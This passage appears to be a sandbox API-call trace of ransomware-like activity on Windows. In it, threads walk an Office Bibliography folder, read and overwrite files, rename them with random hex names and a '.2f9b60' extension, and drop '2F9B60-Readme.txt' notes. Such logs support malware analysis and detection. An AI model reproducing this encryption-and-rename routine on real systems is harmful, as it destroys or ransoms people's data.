_Dest=0x420587cc, _Format="%c%c" | out: _Dest="7c") returned 2 [0162.684] sprintf (in: _Dest=0x420587ce, _Format="%c%c" | out: _Dest="ce") returned 2 [0162.684] sprintf (in: _Dest=0x420587d0, _Format="%c%c" | out: _Dest="cb") returned 2 [0162.684] sprintf (in: _Dest=0x420587d2, _Format="%c%c" | out: _Dest="8b") returned 2 [0162.684] RtlInitAnsiString (in: DestinationString=0x24f4fa48, SourceString="7647e17c6456eea2ecab4ecabfa5961ef7da9e075b185b8b0fc29525fa8c7ccecb8b" | out: DestinationString="7647e17c6456eea2ecab4ecabfa5961ef7da9e075b185b8b0fc29525fa8c7ccecb8b") [0162.684] RtlAnsiStringToUnicodeString (in: DestinationString=0x24f4fa18, SourceString="7647e17c6456eea2ecab4ecabfa5961ef7da9e075b185b8b0fc29525fa8c7ccecb8b", AllocateDestinationString=1 | out: DestinationString="7647e17c6456eea2ecab4ecabfa5961ef7da9e075b185b8b0fc29525fa8c7ccecb8b") returned 0x0 [0162.684] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8a) returned 0x1cdb5570 [0162.685] RtlFreeAnsiString (AnsiString="7") [0162.685] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058790) returned 1 [0162.685] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced6a50) returned 1 [0162.685] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c19770) returned 1 [0162.686] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x167160) returned 1 [0162.686] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9e8f0) returned 1 [0162.686] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb2cf0) returned 1 [0162.686] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9fc70) returned 1 [0162.687] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85a3c0) returned 1 [0162.687] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b7d0) returned 1 [0162.687] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b6e0) returned 1 [0162.688] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82a960) returned 1 [0162.688] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa2) returned 0x2050c710 [0162.688] wcscat (in: _Dest=0x2050c710, _Source="7647e17c6456eea2e" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\7647e17c6456eea2e") returned="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\7647e17c6456eea2e" [0162.688] wcscat (in: _Dest=0x2050c710, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\7647e17c6456eea2e.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\7647e17c6456eea2e.2f9b60" [0162.688] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\7647e17c6456eea2e.2f9b60", NtPathName=0x24f4f9f0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\7647e17c6456eea2e.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0162.688] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc0) returned 0x118fd0 [0165.852] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x118fd0) returned 1 [0165.852] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202930d0) returned 1 [0165.852] NtQueryInformationFile (in: FileHandle=0x1700, IoStatusBlock=0x24f4fa58, FileInformation=0x24f4fa68, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x24f4fa58, FileInformation=0x24f4fa68) returned 0x0 [0165.852] NtSetInformationFile (FileHandle=0x1700, IoStatusBlock=0x24f4fa58, FileInformation=0x24f4fa68, Length=0x28, FileInformationClass=0x4) returned 0x0 [0200.405] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050c710) returned 1 [0200.405] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb5570) returned 1 [0200.405] FlushFileBuffers (hFile=0x1700) returned 1 [0200.409] CloseHandle (hObject=0x1700) returned 1 [0203.916] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x96) returned 0x431c51c0 [0203.916] wcscpy (in: _Dest=0x431c51c0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\" [0203.916] wcscat (in: _Dest=0x431c51c0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\2F9B60-Readme.txt" [0203.916] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\bibliography\\2f9b60-readme.txt")) returned 0x20 [0203.917] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431c51c0) returned 1 [0203.918] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ad160) returned 1 Thread: id = 858 os_tid = 0x1410 [0101.022] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Author2XML.XSL" (normalized: "c:\\program files\\microsoft office\\office14\\bibliography\\author2xml.xsl")) returned 0x20 [0101.808] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Author2XML.XSL", dwFileAttributes=0x20) returned 1 [0101.808] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Author2XML.XSL" (normalized: "c:\\program files\\microsoft office\\office14\\bibliography\\author2xml.xsl"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x16fc [0101.808] GetFileSizeEx (in: hFile=0x16fc, lpFileSize=0x2412fce0 | out: lpFileSize=0x2412fce0*=4070) returned 1 [0101.808] SetFilePointerEx (in: hFile=0x16fc, liDistanceToMove=0xfe2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0101.808] ReadFile (in: hFile=0x16fc, lpBuffer=0x2412fc60, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2412fca8, lpOverlapped=0x0 | out: lpBuffer=0x2412fc60*, lpNumberOfBytesRead=0x2412fca8*=0x4, lpOverlapped=0x0) returned 1 [0102.098] SetFilePointerEx (in: hFile=0x16fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0102.098] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b590 [0102.098] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b8f0 [0102.098] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b7d0 [0102.098] NtQuerySystemTime (in: CurrentTime=0x2412fba0 | out: CurrentTime=0x2412fba0*=132462177076162000) returned 0x0 [0102.098] RtlRandomEx (in: Seed=0x2412fb90 | out: Seed=0x2412fb90) returned 0x7e16123b [0102.099] RtlRandomEx (in: Seed=0x2412fb90 | out: Seed=0x2412fb90) returned 0x7a122cde [0102.099] RtlRandomEx (in: Seed=0x2412fb90 | out: Seed=0x2412fb90) returned 0x3a3f984a [0102.099] RtlRandomEx (in: Seed=0x2412fb90 | out: Seed=0x2412fb90) returned 0x244f2093 [0102.099] RtlRandomEx (in: Seed=0x2412fb90 | out: Seed=0x2412fb90) returned 0x32c3d0d0 [0102.099] RtlRandomEx (in: Seed=0x2412fb90 | out: Seed=0x2412fb90) returned 0x5d69ec70 [0102.099] RtlRandomEx (in: Seed=0x2412fb90 | out: Seed=0x2412fb90) returned 0x778e6a96 [0102.099] RtlRandomEx (in: Seed=0x2412fb90 | out: Seed=0x2412fb90) returned 0x7a15467c [0102.099] RtlRandomEx (in: Seed=0x2412fb90 | out: Seed=0x2412fb90) returned 0x3e5df96d [0102.099] RtlRandomEx (in: Seed=0x2412fb90 | out: Seed=0x2412fb90) returned 0x7b50612e [0102.099] RtlRandomEx (in: Seed=0x2412fb90 | out: Seed=0x2412fb90) returned 0x7b3215c1 [0102.099] RtlRandomEx (in: Seed=0x2412fb90 | out: Seed=0x2412fb90) returned 0x15a9a829 [0102.099] RtlRandomEx (in: Seed=0x2412fb90 | out: Seed=0x2412fb90) returned 0x1979aef4 [0102.099] RtlRandomEx (in: Seed=0x2412fb90 | out: Seed=0x2412fb90) returned 0xf8a6408 [0102.099] RtlRandomEx (in: Seed=0x2412fb90 | out: Seed=0x2412fb90) returned 0xe322ee0 [0102.099] RtlRandomEx (in: Seed=0x2412fb90 | out: Seed=0x2412fb90) returned 0x25d73906 [0102.099] RtlRandomEx (in: Seed=0x2412fb90 | out: Seed=0x2412fb90) returned 0x2ed3a21 [0102.099] RtlRandomEx (in: Seed=0x2412fb90 | out: Seed=0x2412fb90) returned 0x1f307679 [0102.099] RtlRandomEx (in: Seed=0x2412fb90 | out: Seed=0x2412fb90) returned 0x7efa7495 [0102.099] RtlRandomEx (in: Seed=0x2412fb90 | out: Seed=0x2412fb90) returned 0x53ab77be [0102.099] RtlRandomEx (in: Seed=0x2412fb90 | out: Seed=0x2412fb90) returned 0x259c8856 [0102.099] RtlRandomEx (in: Seed=0x2412fb90 | out: Seed=0x2412fb90) returned 0x10caa467 [0102.099] RtlRandomEx (in: Seed=0x2412fb90 | out: Seed=0x2412fb90) returned 0x90b603d [0102.099] RtlRandomEx (in: Seed=0x2412fb90 | out: Seed=0x2412fb90) returned 0x65920d40 [0102.099] RtlRandomEx (in: Seed=0x2412fb90 | out: Seed=0x2412fb90) returned 0x2533e18e [0102.100] RtlRandomEx (in: Seed=0x2412fb90 | out: Seed=0x2412fb90) returned 0x1e3ca83b [0102.100] RtlRandomEx (in: Seed=0x2412fb90 | out: Seed=0x2412fb90) returned 0x6733ab04 [0102.100] RtlRandomEx (in: Seed=0x2412fb90 | out: Seed=0x2412fb90) returned 0x724b7c01 [0102.100] RtlRandomEx (in: Seed=0x2412fb90 | out: Seed=0x2412fb90) returned 0x1f08d2ee [0102.100] RtlRandomEx (in: Seed=0x2412fb90 | out: Seed=0x2412fb90) returned 0x69f4d58b [0102.100] RtlRandomEx (in: Seed=0x2412fb90 | out: Seed=0x2412fb90) returned 0x78b402 [0102.100] RtlRandomEx (in: Seed=0x2412fb90 | out: Seed=0x2412fb90) returned 0x18f41736 [0102.113] ReadFile (in: hFile=0x16fc, lpBuffer=0x1ce99640, nNumberOfBytesToRead=0xfe6, lpNumberOfBytesRead=0x2412fb90, lpOverlapped=0x0 | out: lpBuffer=0x1ce99640*, lpNumberOfBytesRead=0x2412fb90*=0xfe6, lpOverlapped=0x0) returned 1 [0102.113] SetFilePointerEx (in: hFile=0x16fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0102.113] WriteFile (in: hFile=0x16fc, lpBuffer=0x1ce82de0*, nNumberOfBytesToWrite=0xfe6, lpNumberOfBytesWritten=0x2412fb94, lpOverlapped=0x0 | out: lpBuffer=0x1ce82de0*, lpNumberOfBytesWritten=0x2412fb94*=0xfe6, lpOverlapped=0x0) returned 1 [0103.172] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202611f0 [0103.172] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262f00 [0103.172] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262f00) returned 1 [0103.172] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce82de0) returned 1 [0103.172] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce99640) returned 1 [0103.172] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869c40) returned 1 [0103.172] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97800) returned 1 [0103.172] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2a) returned 0x1cd9f730 [0103.172] SetFilePointerEx (in: hFile=0x16fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0103.172] WriteFile (in: hFile=0x16fc, lpBuffer=0x4205a770*, nNumberOfBytesToWrite=0x10e, lpNumberOfBytesWritten=0x2412fcb0, lpOverlapped=0x0 | out: lpBuffer=0x4205a770*, lpNumberOfBytesWritten=0x2412fcb0*=0x10e, lpOverlapped=0x0) returned 1 [0103.415] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd971c0 [0103.415] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8665c0 [0103.415] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262c90 [0103.416] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262c90) returned 1 [0103.416] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1c) returned 0x20262c90 [0103.416] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263500 [0103.416] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263440 [0103.416] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263440) returned 1 [0103.416] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8665c0) returned 1 [0103.416] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd971c0) returned 1 [0103.416] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x39) returned 0x1cd971c0 [0103.416] sprintf (in: _Dest=0x1cd971c0, _Format="%c%c" | out: _Dest="cc") returned 2 [0103.416] sprintf (in: _Dest=0x1cd971c2, _Format="%c%c" | out: _Dest="f6") returned 2 [0103.416] sprintf (in: _Dest=0x1cd971c4, _Format="%c%c" | out: _Dest="01") returned 2 [0103.416] sprintf (in: _Dest=0x1cd971c6, _Format="%c%c" | out: _Dest="3b") returned 2 [0103.416] sprintf (in: _Dest=0x1cd971c8, _Format="%c%c" | out: _Dest="9f") returned 2 [0103.416] sprintf (in: _Dest=0x1cd971ca, _Format="%c%c" | out: _Dest="98") returned 2 [0103.416] sprintf (in: _Dest=0x1cd971cc, _Format="%c%c" | out: _Dest="40") returned 2 [0103.416] sprintf (in: _Dest=0x1cd971ce, _Format="%c%c" | out: _Dest="9b") returned 2 [0103.416] sprintf (in: _Dest=0x1cd971d0, _Format="%c%c" | out: _Dest="75") returned 2 [0103.416] sprintf (in: _Dest=0x1cd971d2, _Format="%c%c" | out: _Dest="f8") returned 2 [0103.416] sprintf (in: _Dest=0x1cd971d4, _Format="%c%c" | out: _Dest="e7") returned 2 [0103.416] sprintf (in: _Dest=0x1cd971d6, _Format="%c%c" | out: _Dest="13") returned 2 [0103.416] sprintf (in: _Dest=0x1cd971d8, _Format="%c%c" | out: _Dest="21") returned 2 [0103.416] sprintf (in: _Dest=0x1cd971da, _Format="%c%c" | out: _Dest="e1") returned 2 [0103.417] sprintf (in: _Dest=0x1cd971dc, _Format="%c%c" | out: _Dest="64") returned 2 [0103.417] sprintf (in: _Dest=0x1cd971de, _Format="%c%c" | out: _Dest="fb") returned 2 [0103.417] sprintf (in: _Dest=0x1cd971e0, _Format="%c%c" | out: _Dest="94") returned 2 [0103.417] sprintf (in: _Dest=0x1cd971e2, _Format="%c%c" | out: _Dest="c0") returned 2 [0103.417] sprintf (in: _Dest=0x1cd971e4, _Format="%c%c" | out: _Dest="34") returned 2 [0103.417] sprintf (in: _Dest=0x1cd971e6, _Format="%c%c" | out: _Dest="7a") returned 2 [0103.417] sprintf (in: _Dest=0x1cd971e8, _Format="%c%c" | out: _Dest="dc") returned 2 [0103.417] sprintf (in: _Dest=0x1cd971ea, _Format="%c%c" | out: _Dest="3e") returned 2 [0103.417] sprintf (in: _Dest=0x1cd971ec, _Format="%c%c" | out: _Dest="c5") returned 2 [0103.417] sprintf (in: _Dest=0x1cd971ee, _Format="%c%c" | out: _Dest="0e") returned 2 [0103.417] sprintf (in: _Dest=0x1cd971f0, _Format="%c%c" | out: _Dest="6a") returned 2 [0103.417] sprintf (in: _Dest=0x1cd971f2, _Format="%c%c" | out: _Dest="fc") returned 2 [0103.417] sprintf (in: _Dest=0x1cd971f4, _Format="%c%c" | out: _Dest="e0") returned 2 [0103.417] sprintf (in: _Dest=0x1cd971f6, _Format="%c%c" | out: _Dest="fc") returned 2 [0103.417] RtlInitAnsiString (in: DestinationString=0x2412fd28, SourceString="ccf6013b9f98409b75f8e71321e164fb94c0347adc3ec50e6afce0fc" | out: DestinationString="ccf6013b9f98409b75f8e71321e164fb94c0347adc3ec50e6afce0fc") [0103.417] RtlAnsiStringToUnicodeString (in: DestinationString=0x2412fcf8, SourceString="ccf6013b9f98409b75f8e71321e164fb94c0347adc3ec50e6afce0fc", AllocateDestinationString=1 | out: DestinationString="ccf6013b9f98409b75f8e71321e164fb94c0347adc3ec50e6afce0fc") returned 0x0 [0103.417] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x72) returned 0x20503890 [0103.417] wcscat (in: _Dest=0x2050d160, _Source="ccf6013b9f9840" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\ccf6013b9f9840") returned="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\ccf6013b9f9840" [0103.417] wcscat (in: _Dest=0x2050d160, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\ccf6013b9f9840.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\ccf6013b9f9840.2f9b60" [0103.417] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\ccf6013b9f9840.2f9b60", NtPathName=0x2412fcd0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\ccf6013b9f9840.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0103.417] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xba) returned 0x119240 [0103.813] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x119240) returned 1 [0103.813] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42052970) returned 1 [0103.813] NtQueryInformationFile (in: FileHandle=0x16fc, IoStatusBlock=0x2412fd38, FileInformation=0x2412fd48, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2412fd38, FileInformation=0x2412fd48) returned 0x0 [0103.813] NtSetInformationFile (FileHandle=0x16fc, IoStatusBlock=0x2412fd38, FileInformation=0x2412fd48, Length=0x28, FileInformationClass=0x4) returned 0x0 [0104.103] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050d160) returned 1 [0104.104] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503890) returned 1 [0104.104] FlushFileBuffers (hFile=0x16fc) returned 1 [0104.109] CloseHandle (hObject=0x16fc) returned 1 [0104.238] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x96) returned 0x204ff690 [0104.238] wcscpy (in: _Dest=0x204ff690, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\" [0104.238] wcscat (in: _Dest=0x204ff690, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\2F9B60-Readme.txt" [0104.238] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\bibliography\\2f9b60-readme.txt")) returned 0xffffffff [0104.238] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\bibliography\\2f9b60-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1630 [0104.493] WriteFile (in: hFile=0x1630, lpBuffer=0x1b82f9a0*, nNumberOfBytesToWrite=0xba9, lpNumberOfBytesWritten=0x2412fbf0, lpOverlapped=0x0 | out: lpBuffer=0x1b82f9a0*, lpNumberOfBytesWritten=0x2412fbf0*=0xba9, lpOverlapped=0x0) returned 1 [0104.494] CloseHandle (hObject=0x1630) returned 1 [0104.495] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ff690) returned 1 [0104.495] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2027a5b0) returned 1 Thread: id = 859 os_tid = 0x1414 [0101.027] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7e) returned 0x202af730 [0101.027] wcscpy (in: _Dest=0x202af730, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Sort" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Sort") returned="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Sort" [0101.027] wcscat (in: _Dest=0x202af730, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Sort\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Sort\\" [0101.027] wcscat (in: _Dest=0x202af730, _Source="*" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Sort\\*") returned="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Sort\\*" [0101.028] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce578e0 [0101.028] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Sort\\*", lpFindFileData=0x1ce578e0 | out: lpFindFileData=0x1ce578e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51767f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x70c9f7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x70c9f7b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9c190 [0102.097] wcscmp (_String1=".", _String2=".") returned 0 [0102.097] FindNextFileW (in: hFindFile=0x1cd9c190, lpFindFileData=0x1ce578e0 | out: lpFindFileData=0x1ce578e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51767f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x70c9f7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x70c9f7b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0102.097] wcscmp (_String1="..", _String2=".") returned 1 [0102.097] wcscmp (_String1="..", _String2="..") returned 0 [0102.097] FindNextFileW (in: hFindFile=0x1cd9c190, lpFindFileData=0x1ce578e0 | out: lpFindFileData=0x1ce578e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xff9cb700, ftCreationTime.dwHighDateTime=0x1c6a86d, ftLastAccessTime.dwLowDateTime=0x51767f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xff9cb700, ftLastWriteTime.dwHighDateTime=0x1c6a86d, nFileSizeHigh=0x0, nFileSizeLow=0x8b62, dwReserved0=0x0, dwReserved1=0x0, cFileName="AUTHOR.XSL", cAlternateFileName="")) returned 1 [0102.097] wcscmp (_String1="AUTHOR.XSL", _String2=".") returned 1 [0102.097] wcscmp (_String1="AUTHOR.XSL", _String2="..") returned 1 [0102.097] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x90) returned 0x4205c650 [0102.098] wcscpy (in: _Dest=0x4205c650, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Sort" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Sort") returned="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Sort" [0102.098] wcscat (in: _Dest=0x4205c650, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Sort\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Sort\\" [0102.098] wcscat (in: _Dest=0x4205c650, _Source="AUTHOR.XSL" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Sort\\AUTHOR.XSL") returned="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Sort\\AUTHOR.XSL" [0152.426] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x4205c650, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x16e8 [0152.427] FindNextFileW (in: hFindFile=0x1cd9c190, lpFindFileData=0x1ce578e0 | out: lpFindFileData=0x1ce578e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xff9cb700, ftCreationTime.dwHighDateTime=0x1c6a86d, ftLastAccessTime.dwLowDateTime=0x5aca0270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xff9cb700, ftLastWriteTime.dwHighDateTime=0x1c6a86d, nFileSizeHigh=0x0, nFileSizeLow=0x8a54, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAG.XSL", cAlternateFileName="")) returned 1 [0152.427] wcscmp (_String1="TAG.XSL", _String2=".") returned 1 [0152.427] wcscmp (_String1="TAG.XSL", _String2="..") returned 1 [0152.427] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8a) returned 0x4205d870 [0152.427] wcscpy (in: _Dest=0x4205d870, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Sort" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Sort") returned="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Sort" [0152.427] wcscat (in: _Dest=0x4205d870, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Sort\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Sort\\" [0152.427] wcscat (in: _Dest=0x4205d870, _Source="TAG.XSL" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Sort\\TAG.XSL") returned="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Sort\\TAG.XSL" [0152.427] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x4205d870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9d8 [0152.428] FindNextFileW (in: hFindFile=0x1cd9c190, lpFindFileData=0x1ce578e0 | out: lpFindFileData=0x1ce578e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xff9cb700, ftCreationTime.dwHighDateTime=0x1c6a86d, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xff9cb700, ftLastWriteTime.dwHighDateTime=0x1c6a86d, nFileSizeHigh=0x0, nFileSizeLow=0x8c3e, dwReserved0=0x0, dwReserved1=0x0, cFileName="TITLE.XSL", cAlternateFileName="")) returned 1 [0152.428] wcscmp (_String1="TITLE.XSL", _String2=".") returned 1 [0152.428] wcscmp (_String1="TITLE.XSL", _String2="..") returned 1 [0152.428] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x4205dc30 [0152.429] wcscpy (in: _Dest=0x4205dc30, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Sort" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Sort") returned="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Sort" 